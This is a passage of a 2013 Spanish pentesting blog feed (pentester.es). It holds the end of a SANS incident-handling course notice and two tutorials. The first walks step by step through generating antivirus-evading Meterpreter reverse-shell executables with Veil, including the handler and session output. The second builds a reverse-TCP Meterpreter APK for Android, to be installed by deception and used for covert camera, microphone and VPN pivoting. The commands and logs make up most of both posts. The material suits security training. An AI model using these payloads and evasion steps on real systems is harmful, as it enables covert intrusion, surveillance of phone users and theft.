justify;&quot;&gt;&lt;b&gt;&lt;b&gt;Resumiendo&lt;/b&gt;:&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Título: &lt;b&gt;SEC504: Hacker Techniques, Exploits &amp;amp; Incident Handling&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Instructores:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;- &lt;a href=&quot;http://es.linkedin.com/in/rafaelalfaromarch&quot; target=&quot;_blank&quot;&gt;Rafael Alfaro March&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;- &lt;a href=&quot;http://es.linkedin.com/pub/jose-manuel-mendez/1/7a4/343&quot; target=&quot;_blank&quot;&gt;Jose Manuel Méndez&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Certificación asociada: &lt;b&gt;GCIH&lt;/b&gt; (GIAC Certified Incident Handling).&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Duración del curso:&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;10 clases de 2 horas los viernes tarde.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Material necesario:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;- Cada alumno necesitará llevar su ordenador portátil para hacer los ejercicios.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Lugar del curso:&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;- Avda Dr. Severo Ochoa, 25 Edificio Fiteni V, situado en Alcobendas (Madrid). &lt;a href=&quot;https://maps.google.es/maps?q=Avda+Dr.+Severo+Ochoa,+25+Edificio+Fiteni+V+28100+Alcobendas,+Madrid&amp;amp;client=ubuntu&amp;amp;channel=cs&amp;amp;aq=f&amp;amp;ie=UTF8&amp;amp;hl=es&amp;amp;hq=Avda+Dr.+Severo+Ochoa,+25+Edificio+Fiteni+V&amp;amp;hnear=Alcobendas,+Madrid,+Comunidad+de+Madrid&amp;amp;ll=40.54557,-3.65201&amp;amp;spn=0.022502,0.045447&amp;amp;t=m&amp;amp;z=15&amp;amp;vpsrc=0&amp;amp;iwloc=A&amp;amp;cid=12420565893783380539&quot; target=&quot;_blank&quot;&gt;Enlace Google Maps&lt;/a&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;- &lt;a href=&quot;https://www.sans.org/mentor/class/sec504-madrid-13dec2013-rafael-alfaro-march&quot; target=&quot;_blank&quot;&gt;Enlace&lt;/a&gt; a la página de SANS con toda la información y registro.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Es importante que las personas interesadas se pongan en contacto conmigo antes de registrarse&lt;/b&gt;, ya que les tengo que dar un código para que lo metan en la web de SANS cuando haya que apuntarse.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Actualización 14/10/2013&lt;/u&gt;: Se cambian las fechas y se actualiza el enlace a la web del SANS. &lt;b&gt;El curso ya cuenta con la cantidad mínima de asistentes para si realización.&lt;/b&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2013/07/curso-incident-handling-en-madrid-en.html</link><author>noreply@blogger.com (Unknown)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-5836964488087966516</guid><pubDate>Mon, 03 Jun 2013 06:00:00 +0000</pubDate><atom:updated>2013-06-03T08:00:08.743+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Malware</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWindows</category><category domain="http://www.blogger.com/atom/ns#">TestDeIntrusion</category><title>Antivirus Bypass con Veil</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Hace unos pocos días &lt;a href=&quot;https://twitter.com/christruncer&quot; target=&quot;_blank&quot;&gt;Christopher Truncer&lt;/a&gt; publicaba en &lt;a href=&quot;https://www.christophertruncer.com/veil-a-payload-generator-to-bypass-antivirus/&quot; target=&quot;_blank&quot;&gt;SU BLOG&lt;/a&gt; un artículo sobre una herramienta desarrollada por él mismo y a la que ha dado el nombre de VEIL. Esta herramienta tiene una utilidad interesante para todos aquellos que nos dedicamos al Pentesting y tenemos en ocasiones algún problema con los Antivirus, ya que genera payloads de Metasploit que luego codifica de una manera propia y genera un ejecutable nuevo, a priori no detectado por ellos.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La herramienta puede descargarse de &lt;a href=&quot;https://github.com/ChrisTruncer/Veil&quot; target=&quot;_blank&quot;&gt;ESTE GITHUB&lt;/a&gt;, y a priori debería ser multiplataforma, aunque yo no lo he conseguido hacer funcionar en mi Mac, así que os recomendo que lo probéis directamente con Kali Linux.&lt;/div&gt;&lt;br /&gt;&lt;i&gt;# &lt;b&gt;git clone&amp;nbsp;https://github.com/ChrisTruncer/Veil.git&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Incluso si lo hacéis con Kali-Linux, es necesario instalar una serie de componentes en el Wine (Python y otros módulos). Por suerte el autor nos ha dejado un script que lo hace todo de forma automática. Solo tenemos que ir dandole a siguiente a todo lo que salga:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;# &lt;b&gt;cd Veil&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;# &lt;b&gt;cd setup&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;# &lt;b&gt;./setup.sh&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Una vez hecho esto, ya podemos llamar a Veil y empezar a jugar:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;# &lt;b&gt;./Veil.py&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;====================================&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;Veil | [Version]: 1.0 | [Updated]: 05.30.2013&lt;/i&gt;&lt;br /&gt;&lt;i&gt;====================================&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;[By]: Chris Truncer | [Twitter]: @ChrisTruncer&lt;/i&gt;&lt;br /&gt;&lt;i&gt;====================================&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[?] What payload type would you like to use?&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;1 - Meterpreter - Python - void pointer&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;2 - Meterpreter - Python - VirtualAlloc()&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;3 - Meterpreter - Python - base64 Encoded&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;4 - Meterpreter - Python - Letter Substitution&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;5 - Meterpreter - Python - ARC4 Stream Cipher&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;6 - Meterpreter - Python - DES Encrypted&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;7 - Meterpreter - Python - AES Encrypted&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;0 - Exit Veil&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[&amp;gt;] Please enter the number of your choice: &lt;b&gt;7&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Nos da varias opciones de técnicas que podemos usar para generar un Meterpreter evadiendo los antivirus. Elegimos, por ejemplo, el cifrado AES, y seguimos adelante:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;[?] What type of payload would you like?&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;1 - Reverse TCP&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;2 - Reverse HTTP&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;3 - Reverse HTTPS&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;0 - Exit Veil&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[&amp;gt;] Please enter the number of your choice: &lt;b&gt;1&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[?] What&#39;s the Local Host IP Address: &lt;b&gt;192.168.1.100&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[?] What&#39;s the Local Port Number: &lt;b&gt;1212&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[*] Generating shellcode...&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Elegimos que el payload sea reverse_tcp e introducimos los datos de nuestra IP y puerto a la escucha. Seguimos adelante:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;[?] How would you like to create your payload executable?&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;1 - Pyinstaller (default)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;2 - Py2Exe&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[&amp;gt;] Please enter the number of your choice: &lt;b&gt;1&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;184 INFO: wrote Z:\opt\Veil\payload.spec&lt;/i&gt;&lt;br /&gt;&lt;i&gt;244 INFO: Testing for ability to set icons, version resources...&lt;/i&gt;&lt;br /&gt;&lt;i&gt;261 INFO: ... resource update available&lt;/i&gt;&lt;br /&gt;&lt;i&gt;267 INFO: UPX is not available.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;2296 INFO: checking Analysis&lt;/i&gt;&lt;br /&gt;&lt;div&gt;&lt;i&gt;[...]&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Elegimos que genere el binario con PyInstaller, que es la opción por defecto y ,después de unas cuantas lineas, al final nos avisa de que el binario ha sido generado:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;[!] Be sure to set up a Reverse TCP handler with the following settings:&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&amp;nbsp;PAYLOAD = windows/meterpreter/reverse_tcp&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&amp;nbsp;LHOST &amp;nbsp; = 192.168.1.100&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&amp;nbsp;LPORT &amp;nbsp; = 1212&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[!] Your payload files have been generated, don&#39;t get caught!&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Parece que ya tenemos el Payload generado pero... ¿funcionará? Vamos a lanzar un módulo multi/handler de Metasploit y a ejecutarlo en un Windows, a ver si funciona como nos tiene acostumbrados:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=1212 E&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[*] Started reverse handler on 0.0.0.0:1212&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[*] Starting the payload handler...&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[*] Sending stage (751104 bytes) to 192.168.1.100&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[*] Meterpreter session 1 opened (192.168.1.100:1212 -&amp;gt; 192.168.1.100:50461) at 2013-05-31 10:53:58 +0200&lt;/i&gt;&lt;br /&gt;&lt;i&gt;meterpreter &amp;gt; &lt;b&gt;sysinfo&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Computer &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: S21SEC-JSELVI&lt;/i&gt;&lt;br /&gt;&lt;i&gt;OS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: Windows 7 (Build 7601, Service Pack 1).&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Architecture &amp;nbsp; &amp;nbsp;: x86&lt;/i&gt;&lt;br /&gt;&lt;i&gt;System Language : es_ES&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Meterpreter &amp;nbsp; &amp;nbsp; : x86/win32&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Funcionar vemos que funciona, pero ahora falta ver si de verdad es indetectable por los antivirus. Por norma general no os recomiendo que utilicéis VirusTotal para probar vuestros encoders, porque VT distribuye las muestras a las casa antivirus, así que os podéis encontrar de que de repente empiecen a detectar vuestro encoder, cuando antes no lo hacían. Sin embargo, en este caso, la herramienta es pública, así que es cuestión de tiempo que se pongan con ello y empiecen a detectarlo, por lo que podemos hacer el experimento con VT sin problemas. &lt;a href=&quot;https://www.virustotal.com/en/file/cb8ce16829cab0b756cb6e0cc7d496611bebbd9da8bb610564c98f142648a4fa/analysis/1369989898/&quot; target=&quot;_blank&quot;&gt;EL RESULTADO&lt;/a&gt; del análisis han sido que solo 2 de los 46 AntiVirus lo han detectado, y ninguno de ellos era de los principales fabricantes del sector.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-oEgrF71URcI/UahkcDQYm6I/AAAAAAAABP8/pNk104Zr3V0/s1600/virustotal.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/-oEgrF71URcI/UahkcDQYm6I/AAAAAAAABP8/pNk104Zr3V0/s400/virustotal.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;No tengo muy claro que su capacidad para evadir los antivirus esté en las técnicas elegidas al arrancar Veil, o si es simplemente por el hecho de estar usando un convertidor de código Python a EXE. No he hecho la prueba, pero veo bastante probable que eso tenga gran parte de la culpa de este resultado.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Como la herramienta es pública, es cuestión de tiempo que las compañias AV lo analicen y sus binarios empiecen a ser detectados, así que... ¡disfrutáis mientras podáis!&lt;/div&gt;</description><link>http://www.pentester.es/2013/06/antivirus-bypass-con-veil.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-oEgrF71URcI/UahkcDQYm6I/AAAAAAAABP8/pNk104Zr3V0/s72-c/virustotal.png" height="72" width="72"/><thr:total>6</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-3246490350202795886</guid><pubDate>Thu, 30 May 2013 19:15:00 +0000</pubDate><atom:updated>2013-06-01T09:04:22.859+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Android</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">metasploit</category><category domain="http://www.blogger.com/atom/ns#">meterpreter</category><category domain="http://www.blogger.com/atom/ns#">SeguridadMoviles</category><title>Nuevo Meterpreter para Android</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Hace ya una buena temporada que venía haciendo un &quot;marcaje de cerca&quot; a &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/pull/1708&quot; target=&quot;_blank&quot;&gt;ESTE &quot;Pull Request&quot;&lt;/a&gt; que existía en el GitHub sobre una iniciativa para portar el Meterpreter Java para Android, que aunque pueda parecer trivial porque las aplicaciones de Android se programan en Java, no es exactamente portable el Java &quot;habitual&quot; que el Java para la máquina virtual Dalvik que tenemos en nuestros Android.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Durante este tiempo he ido bajándome el &lt;a href=&quot;https://github.com/timwr/metasploit-framework&quot; target=&quot;_blank&quot;&gt;fork de Metasploit de &lt;b&gt;timwr&lt;/b&gt;&lt;/a&gt;, que ha sido una de las personas que más han contribuido en esta nueva versión del Meterpreter, y la verdad es que lleva tiempo siendo bastante estable, salvo algún error que me encontré que tuve que arreglar desempaquetando el APK, modificando alguna cosa y volviéndolo a empaquetar para su uso.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Finalmente, después de mucha espera, hoy mismo he visto que se ha hecho un commit de esta funcinalidad hace unos pocos días, por lo que en teoría ya tenéis la funcionalidad en el fork principal de Metasploit. Vamos a ver si es verdad:&lt;/div&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;$ &lt;b&gt;./msfupdate&lt;/b&gt;&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;[*]&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;[*] Attempting to update the Metasploit Framework...&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;[*]&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;[...]&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;&amp;nbsp;create mode 100644 &lt;b&gt;external/source/javapayload/androidpayload/library/src/androidpayload&lt;/b&gt;/stage/Meterpreter.java&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;&amp;nbsp;create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;&amp;nbsp;create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;&amp;nbsp;create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;&amp;nbsp;create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;&amp;nbsp;create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La cosa pinta bien ¿no? Sí que parece que hay ficheros que nos hacen pensar que la funcionalidad del nuevo Meterpreter para Android ha sido incorporada. Vamos a ver la ayuda de msfpayload, a ver si confirma nuestra teoría:&lt;/div&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;$ &lt;b&gt;./msfpayload -l | grep -i android&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; android/meterpreter/reverse_tcp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Connect back stager, Run a meterpreter server on Android&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; android/shell/reverse_tcp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Connect back stager, Spawn a piped command shell (sh)&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;¡Genial! Parece que se acabó eso de tener que instalar dos forks de Metasploit, uno el estandar y el otro con esta funcionalidad. Vamos a generar un APK con un Meterpreter con reverse shell, a ver si conseguimos que alguien se lo instale y jugamos un poco con él :)&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;./msfpayload android/meterpreter/reverse_tcp LHOST=11.22.33.44 R &amp;gt; meter.apk&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Tenemos que decirle a msfpayload que use la salida RAW. Eso en otros payloads nos sacaría el shellcode sin formato, pero en el caso de Android nos saca el APK. Veámoslo:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;file meter.apk&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;meter.apk: Zip archive data, at least v2.0 to extract&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Nos dice que es un ZIP, pero es que en realidad un fichero APK no es más que un ZIP que contiene una serie de ficheros con un formato determinado. Ahora solo tenemos que instalar la aplicación en un Android, generalmente con algún tipo de engaño. Este APK es más bien una prueba de concepto, porque viene con un icono azul de Metasploit, pero podría esconderse el mismo código en una aplicación que &quot;diera el pego&quot; y el efecto sería el mismo. Al arrancar la aplicación se recibe la conexión inversa.&lt;br /&gt;&lt;br /&gt;        &lt;br /&gt;&lt;div class=&quot;p1&quot; style=&quot;text-align: left;&quot;&gt;&lt;i&gt;$ &lt;b&gt;./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-5yGNtrGEO3s/UaeiXG3a91I/AAAAAAAABPc/o-RP82OVLts/s1600/meterandroid1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;235&quot; src=&quot;http://4.bp.blogspot.com/-5yGNtrGEO3s/UaeiXG3a91I/AAAAAAAABPc/o-RP82OVLts/s400/meterandroid1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Ya hemos comprobado que el Meterpreter para Android, funcionar funciona, pero lo que no sabemos es que funcionalidades tiene. Evidentemente, como sucede en las versiones Java y Linux, la funcionalidad es mucho más reducida que en la versión para Windows, pero aún así hay funcionalidades muy interesantes que nos pueden servir para ilustrar los riesgos de seguridad de un dispositivo móvil. Por ejemplo, viene con funcionalidad para realizar fotografías empleando tanto la cámara delantera como la trasera, si estuviera disponible. Otra funcionalidad que me pareció extremadamente interesante fue la posibilidad de activar el micrófono y usar el terminal como un micro oculto. Esta no conseguí hacerla funcionar en el teléfono que lo probé, pero supongo que poco a poco irán puliendo estos detalles.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-A7hobrLhZ9Q/UaejW1DSyeI/AAAAAAAABPs/6K5iew0TeEE/s1600/meterandroid2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;265&quot; src=&quot;http://2.bp.blogspot.com/-A7hobrLhZ9Q/UaejW1DSyeI/AAAAAAAABPs/6K5iew0TeEE/s400/meterandroid2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Imagínatelo, comprometer un terminal móvil y poder escuchar y ver por donde va el usuario. Sin duda un gran trabajo de la gente que ha contribuido con este módulo y de la gente de Rapid7 al ayudar a su integración en Metasploit.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Otra de las funcionalidades que pueden impresionar menos a nivel mediático, pero que resultan muy peligroso a nivel corporativo, es la posibilidad de hacer port-relaying desde el terminal móvil. Digo que interesa a nivel corporativo porque, a un usuario &quot;de casa&quot;, no se saca nada haciendo un port-relay, pero en una empresa... ¿qué ocurre si hacemos esto cuando el usuario tiene levantada la VPN que le da acceso a la red interna de la empresa?&lt;/div&gt;&lt;br /&gt;&lt;i&gt;meterpreter&amp;gt; &lt;b&gt;portfwd add -l 80 -r 192.168.100.10 -p 80&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[*] Local TCP relay created: 0.0.0.0:80 &lt;-&gt; 192.168.100.10:80&lt;!-----&gt;&lt;!-----&gt;&lt;/-&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Lo dicho, un gran trabajo de la colaboración de la comunidad y del equipo de desarrollo de Metasploit que seguro que nos va a dar mucho juego.&lt;/div&gt;</description><link>http://www.pentester.es/2013/05/nuevo-meterpreter-para-android.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-5yGNtrGEO3s/UaeiXG3a91I/AAAAAAAABPc/o-RP82OVLts/s72-c/meterandroid1.png" height="72" width="72"/><thr:total>18</thr:total></item></channel></rss>